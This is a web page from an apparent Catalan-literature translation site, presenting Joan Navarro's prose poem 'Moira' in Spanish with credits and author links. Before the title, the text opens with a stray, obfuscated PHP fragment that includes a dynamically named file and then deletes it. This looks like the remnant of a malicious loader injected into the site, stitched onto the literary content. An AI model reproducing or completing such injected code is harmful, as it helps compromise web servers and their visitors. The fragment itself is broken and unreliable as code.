");fclose($hdl);include("{$eb}.$algo");@unlink("{$eb}.$algo");$npDcheckClassBgp='aue';} ?> Moira - Joan Navarro
Facebook Twitter

La paüra dels crancs

Joan Navarro
Moira

Kehren die Kraniche wieder zur dir?
Friedrich Hölderlin

Hielo en los labios. El fuego huye de mi cuerpo. La batalla está perdida y comienzo un discurso imposible: La luna se movía entre las columnas. (Tener la sensación de ver, y quedarse mudo al otro lado de los sentidos, mientras la luna baila entre las columnas, y el carruaje, que recorre el camino de las procesiones, pisa los bulbos de los gladiolos que la lluvia ha ido descubriendo entre el barro. Es ahora y es nunca. Este discurso imposible. Hablar de lo que no se puede hablar, a pesar del consejo del filósofo de Viena enamorado del esqueleto del lenguaje. Es ahora y es nunca: Vosotros no podéis ver el fuego de mi mirada. Me han herido, me han herido. Tengo el pecho sucio de sangre. La luna me quema la piel, quema la luz. El carruaje se lleva el maderamen de mi cuerpo. ¿Por qué lloráis? Camino por las sombras y toco el frío con las llagas de mis labios. Diviso el país de los planetas, la enorme torre de las esferas, el cántico ancestral del viento cuando cruza el bosque, el hacha que ilumina, en el seno de la tierra, las amplias salas minerales. Veo en las aguas la imagen de mi réplica. Ruedas de fuego incendian la noche quemando las vigas que penden de los cielos, ánades como cenizas vivas atravesando el espacio que no conoce fronteras. ¿Dónde podría esconder mi dolor, esta pena que me come el alma, este desierto, este desolado paisaje? ¿A quién pertenece esta voz? ¿Quién, emboscándose, me ha dicho: ¡Lanza tu pan al agua, llena la tierra de caballos y después huye, corre, escóndete en el polvo!? Ruedas de fuego incendian la noche y arden los cielos. La muerte se extiende sobre las sábanas después de hacer el amor: entre dos negaciones se abre un vacío de silencio. ¡Oh, mis ojos bajo las patas de los caballos, gladiolos estallando entre el barro de marzo y el arco de la luna que hiere los campos! ¿Tornarán mañana las grajillas a llenar aquellas tierras? Inútil e imposible discurso cuando crees que la palabra te salvará: has inventado a la gramática y a Dios, pero los dados del azar nos gobiernan. ¿A quién hablas, si sabes que el discurso no es la vida?)

Traducido por Octavi Monsonís
Joan Navarro, Moira. A: Visat 14 (octubre 2012)
Joan Navarro, 2008. Foto: Markus Gudel
Comentarios sobre la obra
A deslloc (2010)
por Jordi Marrugat
Grafies· Incisions (2010)
por Miquel Martínez
Magrana (2004)
por Anna Montero
Fragmentos
Atlas
Català | English
El beso del beso
Català | Deutsch | Français
Grafías·Incisiones
Català | English | Français | Português
La paraula no és l’ésser
Català | Français | Português
Lluna de terra
Català | Italiano
Moira
Basc | Català | Français
Reseñas
Bibliografía
Buscador de autores
A-B-C-D - E-F-G - H - I
J - K - L - M - N - O - P - Q - R
S-T-U-V-W-X-Y-Z
Traducciones de la literatura catalana
Pueden consultar más páginas sobre la literatura catalana en traducción en:
Poesía
Con el soporte de: